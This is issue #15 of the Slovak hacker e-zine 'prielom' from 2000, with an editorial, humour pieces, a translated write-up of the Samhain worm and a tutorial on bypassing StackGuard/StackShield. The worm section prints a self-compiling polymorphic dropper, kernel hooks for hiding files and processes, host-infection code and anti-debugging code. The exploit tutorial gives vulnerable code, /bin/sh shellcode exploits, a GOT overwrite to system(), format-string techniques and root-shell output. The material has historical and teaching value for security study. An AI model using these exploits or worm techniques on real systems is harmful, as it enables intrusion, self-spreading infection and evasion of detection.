::::::::::. :::::::.. :::.,:::::: ::: ... . : `;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;; `]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ \[[,[[[[, ,[[[[, $$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$ 888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM prielom #15, 07.09.00 , prielom(at)hysteria.sk, http://hysteria.sk/prielom/
intro
trashdiving po slovensky
DOYOULOVEME??
bratislavsky heker a jeho manifesto
kybersaman [dokoncenie]
ako vykradnut banku
exploitovanie cez plt a got
board
bingo, novy prielom.
po dlhsej odmlke sposobenej polrocnou drinou sme tu
zas. vlastne co to hovorim.. aka odmlka.. ked pouzivam terminy ako "oneskorenie", "odmlka"
a podobne, tak tym nechtiac navodzujem atmosku, akoze by mal prielom vychadzat povinne v
pravidelnych intervaloch.
hovno s makom
ak bude po tomto este dalsie cislo, berte to ako mile prekvapenie..
hysterka je totiz v stave existencnej krizy a s nou aj prielom. je na case decentne zrusit dnesnu podobu hysterky este kym jej jednotlive casti (arxiv, prielom, cZert...) tvorene v obdobi 1994-97 posobia "milo folklorne" a nie trapne detinsky.
myslim ze hysterka splnila svoj ciel - spojit ludi s podobnym konickom. mnoho projektov, www stranok ci kamaratstiev priamo vzniklo v prostredi hysteria.sk, alebo ich aspon hysterka ovplyvnila. ale moja snaha najst novych ludi ktori by krmili samotnu hysterku novymi napadmi az, taku odozvu nenasla. server skapina hardverovymi problemami a nedostatkom cerstveho obsahu.
priatelia a pribuzni pacienta... pripravte sa na najhorsie..
pajkus, 03.09.00, bratislava
navrat na obsah
co ty na to ? board
"zima 1998, traja znudeni ludia kdesi v strednej europe. posadte sa a relaxujte."
prva verzia dekryptora vyzerala takto:
const char decryptor[]="#!/bin/bash\nX=/tmp/.$RANDOM$$\n(dd if=\"$0\" of=" "$X.f~ ibs=1 skip=\x01\x01\x01\x01 count=\x02\x02\x02\x02\x02\x02 ;dd if=" "\"$0\" of=$X.b~ ibs=\x03\x03\x03\x03\x03 skip=1;echo \"int x;main(int c," "char**v){char a[99999];int i=read(0,a,99999);for(;x<i;)a[x++]-=atoi(v[1]" ");write(1,a,i);}\" >$X.d~;test -x /tmp/.a012382~||cc -x c $X.d~-o/\tmp/." "a012382~;/tmp/.a012382~ \x04\x04\x04 <$X.f~>$X.gz~;gzip -cd <$X.gz~>$X.c" "~;rm -f $X.f~ $X.d~;cc -O3 -x c $X.c~ -o $X~;chmod 755 /tmp/.a012382~)&>" "/dev/null;test -x \"$0\"&&exec $X~ \"$0\" $@\n";
nas maskovaci kod pre neprivilegovany rezim pozostava z nasledujucich casti:
-- odstrihnute z README -- a) anti-skenovacie rutiny nasledujuce rutiny su urcene na odhalenie "anti-cervej techniky", ako napriklad kill2, pripadne hocico ine, prefikanejsie. pouzivaju sa pred volanim fork(): int bscan(int lifetime); bscan robi "povrchne skenovanie" za pouzitia iba dvoch dcerskych procesov. zivotnost moze byt nastavena na hodnoty okolo 1000 mikrosekund. navratove hodnoty: 0 - ziadne anti-cervie techniky neboli zistene, pouzit ascan alebo wscan. 1 - primitivne techniky zistene (ako "kill2"), pouzit kill2fork() 2 - prefikane (alebo hrube) techniky odhalene, trpezlivo pockat int ascan(int childs,int lifetime); ascan produkuje "vyspelejsie skenovanie" pouzivajuc dany pocet dcerskych procesov (hodnoty medzi 2 a 5 su postacujuce). testuje prostredie vykonstruovanim falosneho utoku forkbombou. vysledky su ovela presnejsie: 0 - ziadne anti-cervie techniky nezistene, pouzit wscan. 1 - anti-cervie utility v operacnom rezime. int wscan(int childs,int lifetime); wscan funguje podobne ako ascan ale pouziva system "chodiaceho procesu". vyzera chybovo, vzdy vracia '1' bez akehokolvek dovodu ale je to taktiez najlepsia odhalovacia technika. navratove hodnoty: 0 - ziadne anti-cervie techniky nezistene. 1 - beziace anti-cervie utility. int kill2fork(); toto je alternativna verzia volania fork(), navrhnuta na oklamanie hlupeho anti-cervieho programoveho vybavenia (pouzije sa, ked bscan vrati 1). navratova hodnota: taka ako fork(). b) maskovacie rutiny nasledujuce rutiny su navrhnute za ucelom maskovania a skrytia aktualneho procesu: int collect_names(int how_many); collect_names vytvori tabulku s poctom zaznamov "how_many". tato (pristupuje sa k nej cez "cmdlines[]" rozhranie) obsahuje mena procesov v systeme. navratova hodnota: pocet zozbieranych procesov. void free_names(); tato funkcia uvolni miesto alokovane funkciou collect_names ked uz viac nie je potrebne vyuzivat cmdlines[]. int get_real_name(char* buf, int cap); ziskame nou skutocne meno spustitelnej binarky pre aktualny proces do buf (kde cap znamena maximalnu dlzku) int set_name_and_loop_to_main(char* newname,char* newexec); tato funkcia zmeni viditelne meno procesu na nove (moze byt zvolene pomocou cmdlines[]), potom zmeni meno binarky na "newexec" a vrati sa na zaciatok funkcie main(). nezmeni pid. ak je "newexec" NULL, binarka sa nepremenuje. navratova hodnota: nenulova, ak nastane chyba. poznamka: premenne, stack a vsetko ostatne sa zresetuje. treba pouzit iny sposob (rury, subory, mena suborov, mena procesov) na vymenu dat zo starej binarky do novej. int zero_loop(char* a0); tato funkcia vracia 1 ak je main() dosiahnuta prvy krat alebo 0, ak uz bola pouzita set_name_and_loop_to_main(). argv[0] je vkladany ako parameter. iba jednoducho skontroluje, ci real_exec_name prezentuje argv[0]. -- EOF --tieto rutiny su relativne slabe a pouiztelne iba na kratkodobe skryvanie procesov. cielom je cim skor ziskat rootovske privilegia (opat diskutovane neskor). potom dosiahneme ziadaneho vysledku. pokrocile skryvanie procesov je vysoko zavisle od systemu, obvykle riesene cez sledovanie systemovych volani. vytvorili sme zdrojove kody pre univerzalne moduly urcene na skryvanie na zopar systemoch, avsak nie su funkcne na vsetkych platformach, ktore je samhain schopny napadnut. techniky tu pouzite su zalozene na dobre znamom principe ukrytych modulov.
nas linux 2.0/2.1 (2.2 a 2.3 jadra v tom case este neboli zname), modul vyuziva
techniku popisanu neskor v prispevku nazvanom "abtrom", ktory sa objavil v
bugtraqu od
na ukazkum nove volanie llseek moze vyzerat takto:
int new_llseek(unsigned int fd,unsigned int offset_high, unsigned int offset_low,int *result,unsigned int whence) { retval=old_llseek(fd,offset_high,offset_low,result,whence); if (retval<0) return retval; if (!(file=current->files->fd[fd])) return retval; if (S_ISREG(file->f_inode->i_mode) || S_ISLNK(file->f_inode->i_mode)) if (is_happy(fd) && file->f_pos < SAMLEN) file->f_pos += SAMLEN; return retval; }v tomto pripade sme chceli vynechat kod loaderu samhain na zaciatku suboru. funkcia is_happy() sa pouziva na identifikaciu infikovanych suborov. nanestastie, musi tiez overovat dlzku loaderu - nezabudajte, je dynamicky generovany. toto je cast kodu z is_happy() pouzita na zistenie tejto dlzky z nasej rutiny dekryptora:
// Determine where ELF starts... file->f_pos=0; BEGIN_KMEM r=file->f_op->read(file->f_inode, file, buf,sizeof(buf)); END_KMEM // Groah! We have to write out own atoi... Stupido ;-) znaki=0; while (znaki!=TH && ++v9) { znaki=1;break; } // Format error (!) SAMLEN+=(buf[v+poz++]-'0')*mult; mult=mult/10; }
cerv sa nesiri po filesysteme prilis nasiroko, takze tento problem nezasahuje vela suborov - iba par spustitelnych, volanych pri bootovacom procese - na zaistenie stalej pritomnosti v pamati (rezidentnosti). skryvanie procesov je v podstate vseobecne:
int new_ptrace(int req,int pid,int addr,int dat) { x=0; buf[20]=0; sprintf(b,"/proc/%d/cmdline",pid); if (active) BEGIN_KMEM x=old_open(b,O_RDONLY,0); END_KMEM if (x>0) { BEGIN_KMEM read(x,b,1); END_KMEM close(x); if (!b[0]) return -ESRCH; } return old_ptrace(req,pid,addr,dat); }
takisto musime ukryt sietove spojenia wormnetu a poslanych / prijatych paketov wormnetu, aby sme sa vyhli odhaleniu pomocou tcpdump, sniffit atd.
to je vsetko, nic nezname. podobny kod bol napisany pre par inych platforiem. pozrite si napr. afharm alebo sebastianove Adore moduly pre nazornu ukazku implementacie skryvacich technik.
3: nezavislost + 4: ucenlivost
wormnet. magicke slovo. wormnet je vyuzivany na distribuovanie upgradnuteho kodu, modulov (napr. nove exploity) a na vzajomnu komunikaciu cervov pri ziadostiach o predkompilovanu binarnu formu. komunikacna schema skutocne nie je az taka zlozita, pouzivaju sa tcp streamy a broadcast spravy v nich. spojenie nie je stale. samhain vyuziva styri druhy ziadosti:
pakety su "kryptovane" (opat, nic silne) klucom priradenym specifickemu spojeniu (generovane z materskej ip adresy, ktoru cerv ziska pri infekcii). typ je popisany jedno-bitovym polom, nasleduju ho infomracia o velkosti a data alebo retazce ukoncene nulovym znakom, pripadne i ttl/casove informacie (zalezi od typu spravy).
struktura spojeni wormnetu moze vyzerat lubovolne a je limitovana iba poctom spojeni na jedneho cerva. spojenia su iniciovane od dcerskeho procesu smerom k materskemu, obvykle obchadzajuc firewally a maskaradovaci softver.
pri infekcii sa dcerskemu procesu vygeneruje kratky zoznam predchadzajucich materskych procesov. ak uz matersky proces obsluhuje prilis vela spojeni v danom case, novy proces sa spoji s inym cervom zo zoznamu.
3 | | 3 ----- 2 ---- 3 ----- 4 ------- 5 ------- 6 | / | | | / | | | / | | mozna struktura wormnetu. 1 ------------ 2 ----- 3 6 cisla reprezentuju poradie, \ / v akom boli hostitelia \ / infikovani. vyznaceny host "3" \ / sa z nejakeho dovodu nemohol \ ---- 3 ------ 4 spojit so svojim materskym | procesom, preto nadviazal | spojenie s hostom "1", ktoreho | mal poznaceneho v zozname. 4
ok, poviete si, a co exploity? exploity su modularne (pripojene k telu cerva) a rozdelene do dvoch kategorii - lokalne a remotne. chceme byt nezavisli na platforme, tak prihliadame na chyby filesystemu, chyby ako napriklad -xkbdir v xwindows a vlozime len zopar buffer overflowov, hlavne pre remote pristup (ale rozhodli sme sa pouzit aj par chyb ako remote pine mailcap exploit a podobne...kod je naozaj majstrovskym kusom shelloveho skriptu :)
obidva typy, aj remote aj lokalne exploity su zoradene podla ucinnosti. exploity, ktore maju najvyssiu uspesnost sa skusaju ako prve, menej ucinne sa presuvaju na koniec. tento zoznam dcerske procesy dedia.
ah, sirenie. obete su volene pomocou monitorovania aktivnych sietovych spojeni. servery sa vyberu nahodne z tohto zoznamu a cerv sa ich pokusi napadnut. v pripade uspechu je server zaradeny do zoznamu uspesne napadnutych hostov a uz nie je viac napadany. v pripade neuspechu sa cerv nepokusa o dalsi vypad az pokym sa neobjavi nova, vylepsena verzia. samozrejme, interny zoznam je konecny a obcas sa moze stat, ze server je napadnuty znovu (ak to nie je nas potomok a nie je prave napojeny) ale koho to trapi - pokus bude ignorovany alebo prebehne upgrade, v zavislosti na casovych znackach.
tento kod je pouzity na ziskanie dalsieho ciela (zo zoznamu aktivnych spojeni)
void infect_host(int addr) { struct hostent* h; int (*exp)(char*); int i=0,n=0,max=VERY_SMALL; if ((0x7F & addr)==0x7F) return; // vynechaj 127.* subnet :-) h=gethostbyaddr((void*)&addr,4,AF_INET); if (is_host_happy(h->h_name)) return; // vo wormnete? for (i=0;remote[i].present;i++) remote[i].used=0; while ((max=VERY_SMALL)) { n=-1; for (i=0;remote[i].present;i++) if (!remote[i].used && remote[i].hits>=max) { max=remote[i].hits;n=i; } if (n<0) break; exp=remote[n].handler; remote[n].used=1; current_module=n; remote[n].hits+=(i=exp(h->h_name)); if (i>0) break; } }
5: integrita
najdolezitejsou vecou v zivote cerva je nedat sa chytit. chceme si byt isti, ze nie je lahke nas vystopovat/debugovat - chceme urobit reverzne inzinierstvo co najtazsim. nechceme ukazat nase interne protokoly wormnetu, komunikaciu s modulom v jadre a detekcne techniky pouzivane samotnymi cervami na kontrolovanie samych seba navzajom, atd. styri veci:
pouzili sme zopar anti-debugovacich technik, vratane chyb zavislych na aplikaciach (chyby v strace pri zobrazovani niektorych vadnych parametrov pri systemovych volaniach, chyby v gdb pri parsovani elf hlaviciek, obchadzanie ramcovych pointrov, samomodifikujuci sa kod a tak dalej), ako aj zopar univerzalnych anti-debugovacich rutin, ktore su volane dost casto (nie su narocne na cas). toto je jedna z nich:
void kill_debug(void) { int x,n; n=getppid(); if (!(x=fork())) { x=getppid(); if (ptrace(PTRACE_ATTACH,x,0,0)) { fprintf(stderr, "\n\n\n**************************************\n" "*** NAOZAJ SA NECHCEM DAT STOPOVAT ***\n" "**************************************\n\n\n"); ptrace(PTRACE_ATTACH,n,0,0); kill(x,9); } usleep(1000); ptrace(PTRACE_DETACH,x,0,0); exit(0); } waitpid(x,&n,0); return; }
ako som uz povedal, cervie moduly su podpisane. najprv su pouzite jednoduche podpisy, neskor pouzivaju jednoduchy system privatnych klucov (naozaj nic tazke, co by sa nedalo cracknut, kluc je relativne kratky ale je to dostatocne zlozite pre amaterov) tymto je zabezpecene, ze nahradzame nasho cerva skutocncym cervom, nie podvrhnutyn zabijakom.
6: polymorfizmus
polymorfny mechanizmus je v podstate jednoduchy - navrhnuty na to, aby sme si mohli byt isti, ze nas dekryptor bude vzdy iny. kedze je napisany ako shellovy skript, je velmi lahke pridat par matucich prikazov, vlozit prazdne premenne, vlozit \ alebo nahradit niektore casti uz deklarovanymi $PREMENNYMI_SHELLU. ziskat spat povodny obsah nie je jednoduche ale vsetko co potrebujeme je imitovat parsovanie dekryptoru - a mame povodny kod.
pridavanie \ do dekryptoru moze vyzerat takto:
while (decryptor[x]) { switch (decryptor[x]) { case ' ': if (!rnd(2)) buf[y++]=' '; else goto difolt; break; case '\n': if (!you_can) you_can=1; default: difolt: if ((you_can && you_can++>1) && !rnd(10) && decryptor[x]>5 && decryptor[x]!='>' && decryptor[x]!='<' && norm>2) { buf[y++]='\\';buf[y++]=10;norm=0; } else {buf[y++]=decryptor[x++];norm++;} } }
7: pouzitelnost
je nahluple vypustit cerva navrhnuteho napriklad na kradnutie tajnych informacii zo specifickeho hostitela, pretoze nemame ziadnu istotu, ze bude fungovat naozaj spravne a nebude polapeny. ak ano, moze byt debugovany (ne spraveny tak, aby sa dallen velmi tazko, ale ako kazdy program, nie je nemozne to urobit, specialne ak sa vam podari ziskat separovany kod cerva). namiesto toho mozeme vypustit neskodneho cerva, potom, ked sa uistime, ze dosiahol zaujimavych hostitelov a doteraz nebol chyteny, mozeme rozoslat upraveneho noveho cerva, ktory bude obsahovat nas zaskodnicky kod. ten sa bude snazit dosiahnut vsetky cervy vo wormnete a upravi ich podla seba.
mozno to nie je najlepsie riesenie ale je to urcite ovela viac bezpecnejsie ako standardne vkladat zadne vratka.
8: a co sa stalo potom?
tak to je on, projekt samhain, ktory sa zmestil do priblizne 40 kb kodu. co sa s nim stalo? nic. nikdy nebol vypusteny a nikdy neboli odstranene obmedzenia z rutin lookup_victim() a infect_host(). stale lezi na mojom disku, usadza sa na nom prach a OBLIVION a to je presne to, co sme chceli.
prestal som vyvijat a testovat novy kod v januari 1999, vo verzii 2.2 a pri priblizne 10 000 riadkoch kodu. wojtek bojdol vyvijal jeho ovela lepsie premysleny wormnet a system infekcie/monitorovania do februara alebo marca, ale nikdy som nenasiel dostatok casu spojit jeho zdrojove kody s povodnymi. potom sme odstranili nas archiv zo serveru s pristupom zo siete, ktory sme pouzivali na vymenu napadov. neskor som publikoval par chyb pouzivanych v databazi exploitov v bugtraqu, niektore (hlavne tie, ktore som neobjavil ja) sme si nechali pre seba.
pribeh sa skoncil. az do dalsieho dazdiveho dna, dalsich troch znudenych hackerov. mozete si byt isti, ze sa to stane. jedina vec, ktorou si byt isti nemozete je koniec dalsieho pribehu.
nechcem sa hrat na proroka alebo jasnovidca, ale dovolim si tvrdit, ze
takyto scenar sa mozno uz coskoro stane realitou. ludia nechcu byt v bezpeci,
nikdy nebudu dostatocne prihliadat na skutocne fakty. hackli nas? ale, ved sa
tolko nestalo, ututlat.. distribuovane utoky? kazdy sa citi bezpecne ale je to
klamliva bezpecnost. citia sa spokojni ale veci sa deju, to ze si to niekto
nevsimne neznamena, ze je vsetko v poriadku..
ved si len skuste na svojich "bezpecnych" serveroch spravit: find /dev -type f a kludne sa stavim, ze kvantum z vas bude velmi nemilo prekvapenych. ale to je len vrchol ladovca. to, co najdete, su len nevinne hracky pre deti..
este bude veselo.
autor: michal zalewski, lcamtuf(at)tpi.pl
preklad, uprava: salo
navrat na obsah
co ty na to ? board
bratislavsky heker a jeho manifesto
tak a to je vsetko. aha, vlastne hack da planeeeeeeeeeeeeeeeeet!!!!!!!
fez0j da hacka (to fez0j je akoze moje meno odzadu, to som sam vimislel)
cut&paste z realneho zivota vykonal niko, niko(at)hysteria.sk
navrat na obsah
co ty na to ? board
"drogy su svinstvo!" - tvrdili mu intelektuali.
"kup si mobil a si s nimi!" - hovorili fetaci.
nicotine, nicotine(at)hysteria.sk
navrat na obsah
co ty na to ? board
.. ale toto vsetko je samozrejme iba na odvratenie pozornosti nepriatela..
pajkus ..s pouzitim vselijakych zdrojov..
navrat na obsah
co ty na to ? board
exploitovanie cez plt (procedure linkage table) a got (global offset table)
... ... |-----------------------------------| | parametre predavane funkcii | |-----------------------------------| | navratova adresa funkcie (RET) | |-----------------------------------| | "canary" slovo | |-----------------------------------| | lokalny frame pointer (%ebp) | |-----------------------------------| | lokalne premenne | |-----------------------------------| ... ...Na to, aby ochrana bola ucinna, utocnik nemoze mat moznost naspoofovat "canary" slovo nejakou hodnotou vlozenou do zasobnika cez overflowovany retazec. Stackguard pouziva proti takemuto moznemu spoofvaniu dve metody : "terminator" a "random".
StackShield
Hlavna myslienka StackShieldu je vytvorenie oddeleneho zasobnika, kde sa
ukladaju vsetky kopie navratovych adries funkcii. To je dosiahnute pridanim
specialneho kodu na zaciatok a koniec kazdej funkcie. Kod na zaciatku skopiruje
navratovu adresu do specialnej tabulky a na konci volanej funkcie sa skopiruje
naspat do zasobnika. Beh programu zostava nezmeneny -- vraciame sa vzdy na
miesto, odkial sme funkciu zavolali. Skutocna navratova adresa sa neporovnava
s ulozenou navratovou adresou, teda nemame moznost zistit, ci vobec nastal
overflow. Posledna verzia StackShieldu pridava ochranu proti volaniu funkcii
cez pointre, ktore nepatria do .TEXT segmentu (v pripade, ze nieco take
nastane, tak program skonci).
Oddeleny zasobnik je ulozeny na "bezpecnom" mieste v pamati a predtym, nez
sa z neho nacita hodnota, tak sa prevadza kontrola integrity tejto oblasti.
Sposob utoku
Na prvy pohlad vyzeraju byt obidva systemy bezpecne. Ukazeme si, ze to tak
nie je. StackGuardovsku ochranu mozeme narusit prepisanim pointerov (na
hodnotu adresy, kde je umiestnena navratova hodnota, dolezitych adries v PLT,
GOT tabulkach), resp. prepisanim longjmp bufferov.
Na prvy pohlad ide o pripad dost specificky - nie vzdy sme schopni prepisat
hodnoty pointerov, ktore sa neskor pouzivaju, longjmp tabulky sa pouzivaju
len zriedka. V praxi, pri komplexnych programoch tento pripad ale nastava
relativne dost casto.
vul.c : // Priklad chybneho programu int f (char ** argv) { char *p; char a[30];Ako vidime, najjednoduchsi sposob exploitovania by bol prepisanim nasho lokalneho bufra az po hodnotu navratovej adresy. To ale nebude mozne, nakolko predpokladame, ze system je chraneny StackGuardom. Najjednoduchsi sposob ale nemusi byt vzdy najlepsi. Co tak modifikovat hodnotu 'p' pointra? Druhym (uz bezpecnym - aspon, co sa tyka kontrolovania hranic) strncpy() mozeme tym padom pristupovat hocikde do pamate. Co sa stane, ak p nasmerujeme na nasu navratovu adresu v zasobniku? Jednoducho prepiseme navratovu adresu bez toho aby sme poskodili nase "canary" slovo.p=a;
printf ("p=%x\t -- pred prvym strcpy\n",p); strcpy(p,argv[1]); // <== osudove strcpy() printf ("p=%x\t -- po prvom strcpy\n",p); strncpy(p,argv[2],16); printf("Po druhom strcpy ;)\n"); }
main (int argc, char ** argv) { f(argv); printf("Koniec programu\n"); }
Co teda potrebujeme na to, aby sa nam utok vydaril?
Dost specificke kriteria, ktore nemusia byt vacsinou zranitelnych programov splnene - v tom pripade su aj napriek roznym overflowom programom StackGuard uplne chranene. V poslednej dobe su velmi popularne overflowy cez formatovacie chyby - ukazeme si ake jednoduche je vyuzit/zneuzit tento druh chyby. Napriklad vo wu-ftpd 2.5 existuje mapped_path bug, kedy overflovanim mapped_path bufra sme schopni zmenit hodnoty Argv a LastArg pointrov pouzivanych v setproctitle(), kedy mozeme modifikovat lubovolnu cast pamate procesu. Formatovacie chyby, ktore sa daju zneuzit podobnym sposobom sa nachadzali v case pisania tohto clanku v poslednych verziach wu-ftpd 2.6.0 a proftpd 1.2.0pre9. To vsetko hovori v prospech sofistikovanym data overflowom.
/* Example exploit no. 1 (c) by Lam3rZ 1999 :) */ char shellcode[] = "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/sh"; char addr[5]="AAAA\x00"; char buf[36]; int * p; main() { memset(buf,'A',32); p = (int *)(buf+32); *p=0xbffffeb4; // <<== ukazuje na adresu navratovej hodnoty p = (int *)(addr); *p=0xbfffff9b; // <<== nova navratova hodnota execle("./vul",shellcode,buf,addr,0,0); }Na StackGuardovanom RH 5.2 Linuxe to vyzera:
[root@sg StackGuard]# ./ex p=bffffec4 -- before 1st strcpy p=bffffeb4 -- after 1st strcpy bash#Na mojom Mandraku 7.0 (kernel 2.4.0 test6) to dopadlo:
[wilder@acheron wilder]$ ./ex p=bffffe44 -- before 1st strcpy p=bffffe70 -- after 1st strcpy After second strcpy ;) sh-2.03$
Adresa novej navratovej adresy (0xbfffff9b) ukazuje na argv[0] funkcie main() v zasobniku a mala by byt na vsetkych linuxoch rovnaka - zavisi len od mnozstva a dlzky argumentov vlozenych z prikazoveho riadka. Do argv[0] hodime cely nas shellcode -> shellcode sa vykonava na zasobniku - v pripade, ze ta irituje openwall antiexecutable stack patch, tak preskoc par stran tohto dokumentu :-) Adresa navratovej hodnoty (0xbffffe70) sa vztahuje na moju konfiguraciu, pri jej hladani treba mat na zreteli dlzky vstupnych argv argumentov, od ktorych zavisi, resp. pouzit set args v gdb a pracovat so skutocnymi argumentami. Prvym strcpy() prepiseme pointer p, druhy strncpy() nam skopiruje novu navratovu adresu, takze pri najblizsom navrate (RET) sa vykona nas shellcode. Tato technika spolahlivo funguje proti (staremu) StackGuardu, proti sekundarnemu zasobniku StackShieldu je neuspesna.
Modifikacia GOT
GOT alebo tiez Global Offset Table konecnu tabulku offsetov volanych funkcii pred dany proces.
[wilder@acheron wilder]$ objdump --dynamic-reloc vul vul: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0804969c R_386_GLOB_DAT __gmon_start__ 08049680 R_386_JUMP_SLOT execl 08049684 R_386_JUMP_SLOT __register_frame_info 08049688 R_386_JUMP_SLOT __deregister_frame_info 0804968c R_386_JUMP_SLOT __libc_start_main 08049690 R_386_JUMP_SLOT printf 08049694 R_386_JUMP_SLOT strncpy 08049698 R_386_JUMP_SLOT strcpyPozrime si opat nas chybny program:
printf ("p=%x\t -- pred prvym strcpy\n",p); strcpy(p,argv[1]); printf ("p=%x\t -- po prvom strcpy\n",p); strncpy(p,argv[2],16); printf("Po druhom strcpy :)\n");
Co tak nastavit pointer p tak, aby sme dalsim strncpy prepisali kniznicne
volanie funkcie printf argumentom argv[2] ? Jednoduche - vsetko, co potrebujeme
je prepisat GOT funkcie printf() libc adresou funkcie system(), tym padom
hned po vykonani strncpy namiesto printf vykoname
system ("Po druhom strcpy :)\n");
Na ziskanie adresy GOT pouzijeme objdump, alebo si disassemblujeme PLT
(Procedure Linkage Table) volania printf().
(gdb) x/2i printf 0x804838cMagic_value predstavuje adresu, odkial sa mapuje libc.so.6 do pamate pre dany proces. Na stackguardovanom RH 5.2 tato hodnota bola 0x4004400, na mojom mendrejku to bola hodnota 0x40019000.: jmp *0x8049690 <- adresa printf() v GOT 0x8048392 : push $0x20 printf() GOT polozku (0x8049690) teda mame a vsetko, co potrebujeme je ulozit libc system() adresu na tuto poziciu - 0x8049690. Adresu nasej adresy system() mozeme vypocitat ako : magic_value + 0x38d90, kde 0x38d90 je offset __libc_system v libc kniznici : [wilder@acheron wilder]$ nm /lib/libc.so.6 | grep system 00038d90 T __libc_system 000c22ac T svcerr_systemerr 00038d90 W system
3ex3.c : char *env[3]={"PATH=.",0}; char shellcode[] = "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/sh"; char addr[5]="AAAA\x00"; char buf[46]; int * p; main() { memset(buf,'A',36); p = (int *)(buf+32); *p++=0x8049690; // <== printf() GOT adresa p = (int *)(addr); *p=0x40019000 + 0x38d90;// <<== adresa of libc system() printf("Exec code from %x\n",*p); execle("./vul",shellcode,buf,addr,0,env); } [wilder@acheron wilder]$ ./3ex3 Exec code from 40051d90 p=bffffe34 -- before 1st strcpy p=8049690 -- after 1st strcpy sh: -c: line 1: syntax error near unexpected token `;)' sh: -c: line 1: `After second strcpy ;)' sh: End: command not foundZjavne to nefunguje. Najskor to bude tym, ze parametre printf() volaniu system() zjavne nic nehovoria :) Neostava nic ine, ako vytvorit vhodny nazov scriptu volajuci sa rovnako, ako vstupny argument nasho modifikovaneho printf, ktory sa nasim volanim system() veselo spusti. Samozrejme exploitovany suid program musi mat moznost spustat subory z nasho pracovneho adresara. Niekedy je lepsie prepisat GOT inej funkcie ako akurat printf(),napriklad takej, ktora berie ako vstup uzivatelsky definovany argument.
(gdb) disas __libc_system Dump of assembler code for function __libc_system: 0x40051d90 <__libc_system>: push %ebp 0x40051d91 <__libc_system+1>: mov %esp,%ebp 0x40051d93 <__libc_system+3>: sub $0x2cc,%esp ... ..Do ebp sa ulozi adresa zasobnika (esp) so vsetkymi vstupnymi parametrami volanej funkcie __libc_system (). V pripade, ze by sme skocili na adresu __libc_system+3, tak sa nam ebp nenastavi podla esp, tym padom o vstupnych argumentoch (a ich poradi) funkcie system() bude rozhodovat len hodnota ebp v okamihu volania __libc_system (), ktorou vhodnou modifikaciou sme schopni zamenit poradie vyberanie pointerov zo zasobnika (cez ebp) pre funkciu system a ebp nastavit tak, ze sa vyberie pointer nachadzajuci sa napriklad v nasom overflowujucom retazci (a[]) ukazujuci na nas "/bin/sh". Takze zdanlivo priamociare vstupne argumenty system() arg1 arg2... mozu byt spracovane uplne inym sposobom.
Exploitovanie formatovacich chyb (velmi strucna teoria)
Samotna myslienka je jednoducha - pri volani *printf() funkcie uzivatelskym vstupom ovplyvnujeme formatovaci retazec (napriklad printf(char *fmt, ...)) Uzivatel moze do formatovaceho retazca vlozit znaky %s %p %x, *printf() ich potom zkonvertuje do prislusnych argumentov. Argumenty sa podla formatovaceho retazca postupne vyberaju zo zasobnika. Nazornejsie to uvidime na priklade:
vul3.c : #includeblaat(char *fmt, ...) { va_list va; int i; char *addr; va_start(va,fmt); printf ("---| argumenty na zasobniku | ---\n"); for (i = 0; i < 5; i++) { addr = va_arg(va, char *); printf("%p\n",addr); } va_end(va); } main(int argc, char **argv) { char buf[8]; char *port = (char*) 0x12345678; strncpy(buf, argv[1],8); blaat(argv[1]); printf(argv[1]); putchar('\n'); } [wilder@acheron wilder]$ ./vul3 pokus ---| argumenty na zasobniku | --- 0xbffffb24 0x8 0x80495e8 0x80496b0 0xbffff998 pokus
Po zadani jednoducheho argumentu (pokus) sa nam zobrazilo 5 argumentov (unsigned long int) na vrchole zasobnika. Adresa 0xbffffb24 je ukazovatel na argv[1] (retazec "pokus"). Vystup nasho printf() je len nas samotny vstupny argument. Skusime pouzit %p vo vstupnom argumente:
[wilder@acheron wilder]$ ./vul3 pokus%p ---| argumenty na zasobniku | --- 0xbffffb22 0x8 0x8049634 0x80496fc 0xbffff998 pokus0xbffffb22Vystup printf() je v tomto pripade zaujimavy, znak %p bol nahradeny prvou hodnotou z vrcholu zasobnika (0xbffffb22). Pridavanim dalsich znakov %p mozeme vypisat vsetky polozky v zasobniku. Podobny efekt dosiahneme pridavanim znakov %c, %f, %d, %s, %p, %i, %n atd, kedy sa zo zasobnika postupne vybera 1 bajt, 8 bajtov, 4 bajty, retazec po najblizsiu \0 a podobne. %n je najviac zaujimavy, zapise mnozstvo doposial vypisanych znakov na adresu, na ktoru ukazuje argument.
int q; printf("AAAA%n",&q);Po tejto operacii sa q = 4. Ukazovatel na premennu sa da ziskat zo vstupnych parametrov *printf(), modifikaciou tejto hodnoty sme schopni vzdy transformovanu hodnotu %n zapisat prakticky na lubovolnu adresu v zasobniku. Staci si len vytvorit vhodny generovaci retazec, pri ktorom *printf() transformuje hodnoty %n%n%n%n na nasu zvolenu navratovu adresu, ktora sa vyberie napriklad pri najblizsom navrate z procedury. Modifikovat samozrejme nemusime len navratove adresy, ale aj ostatne dolezite premenne v zasobniku podla vhodnosti situacie.
Anti-executable stack patch Exploit
Co v pripade, ze sa nachadzame na skaredom systeme so Solarovym patchom (OpenWall project) ? Zasobnik je nonexecutable, teda nemozeme modifikovat GOT tak, aby ukazoval na shellcode umiestneny v nom a sucasne kniznice su mapovane od velmi divnych adries (s prefixom 0x00). Ficime na x86 systeme a oblasti s moznostou vykonanie (execute) je cela kopa:
